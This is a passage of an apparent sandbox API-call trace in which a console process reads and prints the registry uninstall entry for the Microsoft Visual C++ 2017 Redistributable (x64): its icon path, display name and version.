GetConsoleOutputCP () returned 0x1b5 [0150.810] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="3.7.3813.0", cchWideChar=10, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3.7.3813.0", lpUsedDefaultChar=0x0) returned 10 [0150.810] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0150.810] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.810] __iob_func () returned 0x7fefd702a80 [0150.810] _fileno (_File=0x7fefd702ab0) returned 1 [0150.810] _errno () returned 0x204bb0 [0150.810] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.810] _errno () returned 0x204bb0 [0150.810] GetFileType (hFile=0x50) returned 0x1 [0150.810] lstrlenW (lpString="\n") returned 1 [0150.810] GetConsoleOutputCP () returned 0x1b5 [0150.810] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.810] GetConsoleOutputCP () returned 0x1b5 [0150.810] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.810] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.810] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.811] GetProcessHeap () returned 0x3c0000 [0150.811] GetProcessHeap () returned 0x3c0000 [0150.811] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0150.811] GetProcessHeap () returned 0x3c0000 [0150.811] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x1a [0150.811] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30 | out: hHeap=0x3c0000) returned 1 [0150.811] RegEnumValueW (in: hKey=0x5c, dwIndex=0x9, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayIcon", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.811] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayIcon", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0xb2) returned 0x0 [0150.811] GetProcessHeap () returned 0x3c0000 [0150.811] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xb4) returned 0x3e1c70 [0150.811] GetProcessHeap () returned 0x3c0000 [0150.811] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0150.811] GetProcessHeap () returned 0x3c0000 [0150.811] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xb4 [0150.811] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayIcon", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3e1c70, pcbData=0x29f780*=0xb2 | out: pdwType=0x29f700*=0x1, pvData="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe,0", pcbData=0x29f780*=0xb0) returned 0x0 [0150.811] __iob_func () returned 0x7fefd702a80 [0150.811] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.811] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.811] _fileno (_File=0x7fefd702ab0) returned 1 [0150.811] _errno () returned 0x204bb0 [0150.811] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.811] _errno () returned 0x204bb0 [0150.811] GetFileType (hFile=0x50) returned 0x1 [0150.811] lstrlenW (lpString=" ") returned 4 [0150.811] GetConsoleOutputCP () returned 0x1b5 [0150.811] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.811] GetConsoleOutputCP () returned 0x1b5 [0150.812] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.812] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.812] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.812] lstrlenW (lpString="DisplayIcon") returned 11 [0150.812] __iob_func () returned 0x7fefd702a80 [0150.812] _fileno (_File=0x7fefd702ab0) returned 1 [0150.812] _errno () returned 0x204bb0 [0150.812] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.812] _errno () returned 0x204bb0 [0150.812] GetFileType (hFile=0x50) returned 0x1 [0150.812] lstrlenW (lpString="DisplayIcon") returned 11 [0150.812] GetConsoleOutputCP () returned 0x1b5 [0150.812] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayIcon", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0150.812] GetConsoleOutputCP () returned 0x1b5 [0150.812] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayIcon", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayIcon", lpUsedDefaultChar=0x0) returned 11 [0150.812] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0150.812] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.812] __iob_func () returned 0x7fefd702a80 [0150.812] _fileno (_File=0x7fefd702ab0) returned 1 [0150.812] _errno () returned 0x204bb0 [0150.812] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.812] _errno () returned 0x204bb0 [0150.812] GetFileType (hFile=0x50) returned 0x1 [0150.812] lstrlenW (lpString=" ") returned 4 [0150.812] GetConsoleOutputCP () returned 0x1b5 [0150.813] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.813] GetConsoleOutputCP () returned 0x1b5 [0150.813] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.813] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.813] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.813] __iob_func () returned 0x7fefd702a80 [0150.813] _fileno (_File=0x7fefd702ab0) returned 1 [0150.813] _errno () returned 0x204bb0 [0150.813] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.813] _errno () returned 0x204bb0 [0150.813] GetFileType (hFile=0x50) returned 0x1 [0150.813] lstrlenW (lpString="REG_SZ") returned 6 [0150.813] GetConsoleOutputCP () returned 0x1b5 [0150.813] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.814] GetConsoleOutputCP () returned 0x1b5 [0150.814] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.814] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.814] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.814] __iob_func () returned 0x7fefd702a80 [0150.814] _fileno (_File=0x7fefd702ab0) returned 1 [0150.814] _errno () returned 0x204bb0 [0150.814] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.814] _errno () returned 0x204bb0 [0150.814] GetFileType (hFile=0x50) returned 0x1 [0150.814] lstrlenW (lpString=" ") returned 4 [0150.814] GetConsoleOutputCP () returned 0x1b5 [0150.814] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.814] GetConsoleOutputCP () returned 0x1b5 [0150.814] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.814] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.814] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.814] __iob_func () returned 0x7fefd702a80 [0150.814] _fileno (_File=0x7fefd702ab0) returned 1 [0150.814] _errno () returned 0x204bb0 [0150.814] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.814] _errno () returned 0x204bb0 [0150.814] GetFileType (hFile=0x50) returned 0x1 [0150.814] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe,0") returned 87 [0150.814] GetConsoleOutputCP () returned 0x1b5 [0150.815] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe,0", cchWideChar=87, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 87 [0150.815] GetConsoleOutputCP () returned 0x1b5 [0150.815] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe,0", cchWideChar=87, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe,0", lpUsedDefaultChar=0x0) returned 87 [0150.815] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 87 [0150.815] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.815] __iob_func () returned 0x7fefd702a80 [0150.815] _fileno (_File=0x7fefd702ab0) returned 1 [0150.815] _errno () returned 0x204bb0 [0150.815] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.815] _errno () returned 0x204bb0 [0150.815] GetFileType (hFile=0x50) returned 0x1 [0150.815] lstrlenW (lpString="\n") returned 1 [0150.815] GetConsoleOutputCP () returned 0x1b5 [0150.815] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.815] GetConsoleOutputCP () returned 0x1b5 [0150.815] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.815] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.815] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.815] GetProcessHeap () returned 0x3c0000 [0150.815] GetProcessHeap () returned 0x3c0000 [0150.815] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0150.815] GetProcessHeap () returned 0x3c0000 [0150.815] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xb4 [0150.816] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0150.816] RegEnumValueW (in: hKey=0x5c, dwIndex=0xa, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.816] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x7e) returned 0x0 [0150.816] GetProcessHeap () returned 0x3c0000 [0150.816] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x80) returned 0x3db830 [0150.816] GetProcessHeap () returned 0x3c0000 [0150.816] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.816] GetProcessHeap () returned 0x3c0000 [0150.816] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x80 [0150.816] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x7e | out: pdwType=0x29f700*=0x1, pvData="Microsoft Visual C++ 2017 Redistributable (x64) - 14.10.25017", pcbData=0x29f780*=0x7c) returned 0x0 [0150.816] __iob_func () returned 0x7fefd702a80 [0150.816] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.816] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.816] _fileno (_File=0x7fefd702ab0) returned 1 [0150.816] _errno () returned 0x204bb0 [0150.816] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.816] _errno () returned 0x204bb0 [0150.816] GetFileType (hFile=0x50) returned 0x1 [0150.816] lstrlenW (lpString=" ") returned 4 [0150.816] GetConsoleOutputCP () returned 0x1b5 [0150.816] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.816] GetConsoleOutputCP () returned 0x1b5 [0150.816] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.816] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.816] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.816] lstrlenW (lpString="DisplayName") returned 11 [0150.817] __iob_func () returned 0x7fefd702a80 [0150.817] _fileno (_File=0x7fefd702ab0) returned 1 [0150.817] _errno () returned 0x204bb0 [0150.817] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.817] _errno () returned 0x204bb0 [0150.817] GetFileType (hFile=0x50) returned 0x1 [0150.817] lstrlenW (lpString="DisplayName") returned 11 [0150.817] GetConsoleOutputCP () returned 0x1b5 [0150.817] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0150.817] GetConsoleOutputCP () returned 0x1b5 [0150.817] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayName", lpUsedDefaultChar=0x0) returned 11 [0150.817] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0150.817] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.817] __iob_func () returned 0x7fefd702a80 [0150.817] _fileno (_File=0x7fefd702ab0) returned 1 [0150.817] _errno () returned 0x204bb0 [0150.817] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.817] _errno () returned 0x204bb0 [0150.817] GetFileType (hFile=0x50) returned 0x1 [0150.817] lstrlenW (lpString=" ") returned 4 [0150.817] GetConsoleOutputCP () returned 0x1b5 [0150.817] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.817] GetConsoleOutputCP () returned 0x1b5 [0150.817] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.818] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.818] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.818] __iob_func () returned 0x7fefd702a80 [0150.818] _fileno (_File=0x7fefd702ab0) returned 1 [0150.818] _errno () returned 0x204bb0 [0150.818] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.818] _errno () returned 0x204bb0 [0150.818] GetFileType (hFile=0x50) returned 0x1 [0150.818] lstrlenW (lpString="REG_SZ") returned 6 [0150.818] GetConsoleOutputCP () returned 0x1b5 [0150.818] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.818] GetConsoleOutputCP () returned 0x1b5 [0150.818] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.818] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.818] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.818] __iob_func () returned 0x7fefd702a80 [0150.818] _fileno (_File=0x7fefd702ab0) returned 1 [0150.818] _errno () returned 0x204bb0 [0150.818] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.818] _errno () returned 0x204bb0 [0150.818] GetFileType (hFile=0x50) returned 0x1 [0150.818] lstrlenW (lpString=" ") returned 4 [0150.818] GetConsoleOutputCP () returned 0x1b5 [0150.818] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.818] GetConsoleOutputCP () returned 0x1b5 [0150.819] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.819] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.819] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.819] __iob_func () returned 0x7fefd702a80 [0150.819] _fileno (_File=0x7fefd702ab0) returned 1 [0150.819] _errno () returned 0x204bb0 [0150.819] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.819] _errno () returned 0x204bb0 [0150.819] GetFileType (hFile=0x50) returned 0x1 [0150.819] lstrlenW (lpString="Microsoft Visual C++ 2017 Redistributable (x64) - 14.10.25017") returned 61 [0150.819] GetConsoleOutputCP () returned 0x1b5 [0150.819] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2017 Redistributable (x64) - 14.10.25017", cchWideChar=61, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 61 [0150.819] GetConsoleOutputCP () returned 0x1b5 [0150.819] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2017 Redistributable (x64) - 14.10.25017", cchWideChar=61, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Visual C++ 2017 Redistributable (x64) - 14.10.25017", lpUsedDefaultChar=0x0) returned 61 [0150.819] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 61 [0150.819] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.819] __iob_func () returned 0x7fefd702a80 [0150.819] _fileno (_File=0x7fefd702ab0) returned 1 [0150.819] _errno () returned 0x204bb0 [0150.819] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.819] _errno () returned 0x204bb0 [0150.819] GetFileType (hFile=0x50) returned 0x1 [0150.819] lstrlenW (lpString="\n") returned 1 [0150.819] GetConsoleOutputCP () returned 0x1b5 [0150.820] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.820] GetConsoleOutputCP () returned 0x1b5 [0150.820] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.820] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.820] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.820] GetProcessHeap () returned 0x3c0000 [0150.820] GetProcessHeap () returned 0x3c0000 [0150.820] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.820] GetProcessHeap () returned 0x3c0000 [0150.820] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x80 [0150.820] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0150.820] RegEnumValueW (in: hKey=0x5c, dwIndex=0xb, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayVersion", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.820] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x1e) returned 0x0 [0150.820] GetProcessHeap () returned 0x3c0000 [0150.820] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3d5c30 [0150.820] GetProcessHeap () returned 0x3c0000 [0150.820] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0150.820] GetProcessHeap () returned 0x3c0000 [0150.820] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x20 [0150.820] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d5c30, pcbData=0x29f780*=0x1e | out: pdwType=0x29f700*=0x1, pvData="14.10.25017.0", pcbData=0x29f780*=0x1c) returned 0x0 [0150.820] __iob_func () returned 0x7fefd702a80 [0150.820] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.820] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.820] _fileno (_File=0x7fefd702ab0) returned 1 [0150.820] _errno () returned 0x204bb0 [0150.820] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.820] _errno () returned 0x204bb0 [0150.820] GetFileType (hFile=0x50) returned 0x1 [0150.820] lstrlenW (lpString=" ") returned 4 [0150.820] GetConsoleOutputCP () returned 0x1b5 [0150.821] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.821] GetConsoleOutputCP () returned 0x1b5 [0150.821] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.821] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.821] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.821] lstrlenW (lpString="DisplayVersion") returned 14 [0150.821] __iob_func () returned 0x7fefd702a80 [0150.821] _fileno (_File=0x7fefd702ab0) returned 1 [0150.821] _errno () returned 0x204bb0 [0150.821] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.821] _errno () returned 0x204bb0 [0150.821] GetFileType (hFile=0x50) returned 0x1 [0150.821] lstrlenW (lpString="DisplayVersion") returned 14 [0150.821] GetConsoleOutputCP () returned 0x1b5 [0150.821] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0150.821] GetConsoleOutputCP () returned 0x1b5 [0150.821] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayVersion", lpUsedDefaultChar=0x0) returned 14 [0150.821] fprintf (in: 